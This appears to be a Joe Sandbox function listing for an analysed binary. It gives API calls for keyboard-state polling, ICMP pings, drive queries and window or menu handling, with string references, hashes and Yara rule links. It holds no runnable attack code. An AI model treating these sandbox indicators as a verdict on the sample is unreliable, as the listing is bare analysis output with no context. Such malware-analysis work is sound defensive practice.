APIs

Part of subcall function 00D5B155: GetWindowLongW.USER32(?,000000EB), ref: 00D5B166

GetSysColor.USER32(0000000F), ref: 00D5B067

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 055f7e8349f3e7eec7e3738ffc807ef829c90283f211d3e7964b775d44ebc391
Instruction ID: 64814fce4b9734ac7de0bf0895f2d50d106fda118e3a72d827c8c106fb0d1f4e
Opcode Fuzzy Hash: 055f7e8349f3e7eec7e3738ffc807ef829c90283f211d3e7964b775d44ebc391
Instruction Fuzzy Hash: 7B419E31100641AFDF205F28DC89BBA3B66AB06732F184266FD668B2E5D7358C46CB31

Function 00D87334 Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 00D8734C
_wcscpy.LIBCMT ref: 00D8735D
__wsplitpath.LIBCMT ref: 00D87384
__wsplitpath.LIBCMT ref: 00D873A8
_wcscpy.LIBCMT ref: 00D873CA
_wcscpy.LIBCMT ref: 00D873E8
_wcscpy.LIBCMT ref: 00D873F9
_wcscat.LIBCMT ref: 00D87408
_wcscat.LIBCMT ref: 00D8745D
_wcscat.LIBCMT ref: 00D87493
_wcscat.LIBCMT ref: 00D874A5

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: e07f69ed850f54e6c44a6baf7b372647ef6a023b463ebaf8425076dc520b8499
Instruction ID: caa94cc9b7e30a48c61e03979dfedd24d2e66667f34d2e231d61710e37f72fea
Opcode Fuzzy Hash: e07f69ed850f54e6c44a6baf7b372647ef6a023b463ebaf8425076dc520b8499
Instruction Fuzzy Hash: 3E41E9B690412CABDB21EB54CC55EDE73BCEB48314F1441A7B519A2051EA71EBD8CFB0

Function 00D8DFFE Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00DDDBF0,00DDDBF0,00DDDBF0), ref: 00D8E062
GetDriveTypeW.KERNEL32(?,00DF3AE4,00000061), ref: 00D8E12C
_wcscpy.LIBCMT ref: 00D8E156

Strings

ramdisk, xrefs: 00D8E0D6
network, xrefs: 00D8E0C0
fixed, xrefs: 00D8E0AA
unknown, xrefs: 00D8E0ED
removable, xrefs: 00D8E094
all, xrefs: 00D8E068
cdrom, xrefs: 00D8E07E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 9906823be7c3846cc9ead81fae25e7cd042750b3a2cae3027151ecdc2dcea711
Instruction ID: fca8128e10887f825f5c242f5bdf975829b904d4a35ebaf6cf23427e814ec40b
Opcode Fuzzy Hash: 9906823be7c3846cc9ead81fae25e7cd042750b3a2cae3027151ecdc2dcea711
Instruction Fuzzy Hash: E551BF35148300AFC714EF14C891A6EB7A6EF84354F188D2DF9958B2A2DB71DE09CB72

Function 00D484A6 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00D484E5
__itow.LIBCMT ref: 00D48519

Part of subcall function 00D62177: _xtow@16.LIBCMT ref: 00D62198

Strings

False, xrefs: 00DB5568
%.15g, xrefs: 00D484DF
0x%p, xrefs: 00DB5582
True, xrefs: 00DB5561

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: ac4a4abfe10557a497b5f45cfdda41f0e4183816ffef2a5fb86de802b9a4c366
Instruction ID: 809b120218bfcc94691c2f6cd4ec33cae45e6d3a94ccbdadda60b0d08aa9902d
Opcode Fuzzy Hash: ac4a4abfe10557a497b5f45cfdda41f0e4183816ffef2a5fb86de802b9a4c366
Instruction Fuzzy Hash: B241D271904605EBDB24DF38E841BBA77E5EB48310F24446AE58AD7295EA31DA41DB30

Function 00DA9FC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00DAA067
CreateCompatibleDC.GDI32(00000000), ref: 00DAA06E
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00DAA081
SelectObject.GDI32(00000000,00000000), ref: 00DAA089
GetPixel.GDI32(00000000,00000000,00000000), ref: 00DAA094
DeleteDC.GDI32(00000000), ref: 00DAA09D
GetWindowLongW.USER32(?,000000EC), ref: 00DAA0A7
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00DAA0BB
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00DAA0C7

Strings

static, xrefs: 00DA9FFF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: f50ccb95ece89971e73a6e23570d27e32bdf4bd704e33215b6c009bb4cf84013
Instruction ID: 2d124c57af4121121d6937f31d5aa0e990a4e0fd879febb05df7766b9dab78ec
Opcode Fuzzy Hash: f50ccb95ece89971e73a6e23570d27e32bdf4bd704e33215b6c009bb4cf84013
Instruction Fuzzy Hash: 90317A3110021AABDF219F68DC09FDA3B6AFF0A365F150325FA15D61A0C7359820DBB5

Function 00D65C91 Relevance: 16.8, APIs: 11, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D65CCA

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

__gmtime64_s.LIBCMT ref: 00D65D63
__gmtime64_s.LIBCMT ref: 00D65D99
__gmtime64_s.LIBCMT ref: 00D65DB6
__allrem.LIBCMT ref: 00D65E0C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D65E28
__allrem.LIBCMT ref: 00D65E3F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D65E5D
__allrem.LIBCMT ref: 00D65E74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D65E92
__invoke_watson.LIBCMT ref: 00D65F03

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7915570a7edd34edfe5e16517c98524c56a6d149c47d272a726b9dd24d53d0d8
Instruction ID: 10891d92f7a7e1937036b3687441a4afbe5c2fc85c9e9c78c63cb6ced83cd181
Opcode Fuzzy Hash: 7915570a7edd34edfe5e16517c98524c56a6d149c47d272a726b9dd24d53d0d8
Instruction Fuzzy Hash: E171CA71A01F16ABDB149F78DD41B6A73A8EF10724F14823AF514D7686F771DA808BB0

Function 00D857FB Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D85816
GetMenuItemInfoW.USER32(00E018F0,000000FF,00000000,00000030), ref: 00D85877
SetMenuItemInfoW.USER32(00E018F0,00000004,00000000,00000030), ref: 00D858AD
Sleep.KERNEL32(000001F4), ref: 00D858BF
GetMenuItemCount.USER32(?), ref: 00D85903
GetMenuItemID.USER32(?,00000000), ref: 00D8591F
GetMenuItemID.USER32(?,-00000001), ref: 00D85949
GetMenuItemID.USER32(?,?), ref: 00D8598E
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00D859D4
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D859E8
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D85A09

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 81f18e3a8af543ebc2dcf2279991fa9fc1cb290e4c2e3a60843afc7f27a2056b
Instruction ID: 747b51a5af9165e16208006e01af88d37374d214284681cb8432ace3fefc2b99
Opcode Fuzzy Hash: 81f18e3a8af543ebc2dcf2279991fa9fc1cb290e4c2e3a60843afc7f27a2056b
Instruction Fuzzy Hash: A9619D7091064AEFDB11EFA4EC88EBE7BB9EB05358F180159E882E7255D731AD45CB30

Function 00DA9A23 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00DA9AA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00DA9AA8
GetWindowLongW.USER32(?,000000F0), ref: 00DA9ACC
_memset.LIBCMT ref: 00DA9ADD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00DA9AEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00DA9B67

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: e7901a0b5067ec20363a61d6f48b9b5c20d0c9ee3eca67c413a680e4138ab00d
Instruction ID: a05d31e980dd4edc80e3e68794346617266746884b6dac0f4db0c7f1254ffd83
Opcode Fuzzy Hash: e7901a0b5067ec20363a61d6f48b9b5c20d0c9ee3eca67c413a680e4138ab00d
Instruction Fuzzy Hash: D3616B75900208AFDB14DFA4CC91EEEB7B8EF0A710F144199FA15EB291D770AA45DB60

Function 00D83569 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00D83591
GetAsyncKeyState.USER32(000000A0), ref: 00D83612
GetKeyState.USER32(000000A0), ref: 00D8362D
GetAsyncKeyState.USER32(000000A1), ref: 00D83647
GetKeyState.USER32(000000A1), ref: 00D8365C
GetAsyncKeyState.USER32(00000011), ref: 00D83674
GetKeyState.USER32(00000011), ref: 00D83686
GetAsyncKeyState.USER32(00000012), ref: 00D8369E
GetKeyState.USER32(00000012), ref: 00D836B0
GetAsyncKeyState.USER32(0000005B), ref: 00D836C8
GetKeyState.USER32(0000005B), ref: 00D836DA

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 46d912078697774934df835908c608b35d3df9646091ea98412d6383452339b7
Instruction ID: 3fb31ebb93d76c8470d66aa5fb0b5ae7248a3f324728a11160ed2eee4c587e45
Opcode Fuzzy Hash: 46d912078697774934df835908c608b35d3df9646091ea98412d6383452339b7
Instruction Fuzzy Hash: 7941C8605047CA7DFF31A76889167B5BEA1AB12B44F0C409DD5CA463C2FBA49BC8C772

Function 00D7A28D Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 00D7A2AA
SafeArrayAllocData.OLEAUT32(?), ref: 00D7A2F5
VariantInit.OLEAUT32(?), ref: 00D7A307
SafeArrayAccessData.OLEAUT32(?,?), ref: 00D7A327
VariantCopy.OLEAUT32(?,?), ref: 00D7A36A
SafeArrayUnaccessData.OLEAUT32(?), ref: 00D7A37E
VariantClear.OLEAUT32(?), ref: 00D7A393
SafeArrayDestroyData.OLEAUT32(?), ref: 00D7A3A0
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D7A3A9
VariantClear.OLEAUT32(?), ref: 00D7A3BB
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D7A3C6

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 939de871005f1ee3f67816d13171d796c6e1caeb9018bdc0741936b5a9f746c5
Instruction ID: f0bb4a9ccffd4b3779a03c9126a4e4ff601ef80471a11c947221f3eef3da1689
Opcode Fuzzy Hash: 939de871005f1ee3f67816d13171d796c6e1caeb9018bdc0741936b5a9f746c5
Instruction Fuzzy Hash: 30412B3190021AAFCB05DFE8DC84DEEBBB9EF48344F008065E545E3261EB30AA45CBB1

Function 00D9B250 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

CoInitialize.OLE32 ref: 00D9B298
CoUninitialize.OLE32 ref: 00D9B2A3
CoCreateInstance.OLE32(?,00000000,00000017,00DCD8FC,?), ref: 00D9B303
IIDFromString.OLE32(?,?), ref: 00D9B376
VariantInit.OLEAUT32(?), ref: 00D9B410
VariantClear.OLEAUT32(?), ref: 00D9B471

Strings

Failed to create object, xrefs: 00D9B30E, 00D9B3C4
Invalid parameter, xrefs: 00D9B38F
NULL Pointer assignment, xrefs: 00D9B348

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 79764bceedd57b34548c19b6de6bf2e7df27f3fd7086c6230994bb87576022d0
Instruction ID: 88ea68e5401a23a733701fb4d392c755c1e371699fc4cb1744b7864b4016e7ac
Opcode Fuzzy Hash: 79764bceedd57b34548c19b6de6bf2e7df27f3fd7086c6230994bb87576022d0
Instruction Fuzzy Hash: 2E617A70208302AFDB10DF54D985B6EB7E8EF89724F05491AF9859B291D770ED48CBB2

Function 00D98694 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00D986F5
inet_addr.WSOCK32(?,?,?), ref: 00D9873A
gethostbyname.WSOCK32(?), ref: 00D98746
IcmpCreateFile.IPHLPAPI ref: 00D98754
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00D987C4
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00D987DA
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00D9884F
WSACleanup.WSOCK32 ref: 00D98855

Strings

Ping, xrefs: 00D98778

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 89ebb15aa9a70cdd8b34cd92db2b7a9c0639a751a76d61bba7ccba481dd9fc65
Instruction ID: 1655f7a393a0519b06cb97476d3015755e02229bb88d74fb186f283f334b8fc8
Opcode Fuzzy Hash: 89ebb15aa9a70cdd8b34cd92db2b7a9c0639a751a76d61bba7ccba481dd9fc65
Instruction Fuzzy Hash: 5C5181316043019FDB10AF64DC45B2ABBE5EF49B20F14892AF996DB2A1DB34E804DB71

Function 00DA9C50 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA9C68
CreateMenu.USER32 ref: 00DA9C83
SetMenu.USER32(?,00000000), ref: 00DA9C92
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00DA9D1F
IsMenu.USER32(?), ref: 00DA9D35
CreatePopupMenu.USER32 ref: 00DA9D3F
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00DA9D70
DrawMenuBar.USER32 ref: 00DA9D7E

Strings

0, xrefs: 00DA9C61

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0
API String ID: 176399719-4108050209
Opcode ID: 89c97441e362d641b8e91c54001c4d57303e60ba2274f58846f859252ce7ee03
Instruction ID: 49752ffee3799acc97ed815dec6bc59be72f307b687ece7019daaa8dd985aace
Opcode Fuzzy Hash: 89c97441e362d641b8e91c54001c4d57303e60ba2274f58846f859252ce7ee03
Instruction Fuzzy Hash: FF414579A0020AAFDF10EF68D894F9ABBB6FF4A314F184068E945A7351D731A954CF70

Function 00D8EC11 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D8EC1E
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00D8EC94
GetLastError.KERNEL32 ref: 00D8EC9E
SetErrorMode.KERNEL32(00000000,READY), ref: 00D8ED0B

Strings

READY, xrefs: 00D8ECE4
UNKNOWN, xrefs: 00D8ECC3
NOTREADY, xrefs: 00D8ECCA
READONLY, xrefs: 00D8ECD6
INVALID, xrefs: 00D8ECDD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 2ccf4de67bd26c81a3f332d892d61f3fe4eb7449a9fa84594703477066354073
Instruction ID: 754888cf83e68a63166fe6061ef205c10e1f7c81c732c8934f46d896a1c0c917
Opcode Fuzzy Hash: 2ccf4de67bd26c81a3f332d892d61f3fe4eb7449a9fa84594703477066354073
Instruction Fuzzy Hash: AE318D35A0020AAFC710FF69DD49EAEBBB4EB44700F198026F506E7291DA71DA45CBB1

Function 00D7C6FD Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00D7C782
GetDlgCtrlID.USER32 ref: 00D7C78D
GetParent.USER32 ref: 00D7C7A9
SendMessageW.USER32(00000000,?,00000111,?), ref: 00D7C7AC
GetDlgCtrlID.USER32(?), ref: 00D7C7B5
GetParent.USER32(?), ref: 00D7C7D1
SendMessageW.USER32(00000000,?,?,00000111), ref: 00D7C7D4

Strings

ComboBox, xrefs: 00D7C707
ListBox, xrefs: 00D7C73F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: 04c5859678f65c499b32c5e3daa6fd0e5f52e7b3f64ecd55eedeb432a98110eb
Instruction ID: b739e1323d8f18562cfddc73641390ff205e06d1acbd6727614abbcfaae8fc92
Opcode Fuzzy Hash: 04c5859678f65c499b32c5e3daa6fd0e5f52e7b3f64ecd55eedeb432a98110eb
Instruction Fuzzy Hash: 5721A174A40209AFDF09EBA4CC85EBEB775EB45310F148119F566D32D1EB78981AEB30

Function 00D7C7E6 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00D7C869
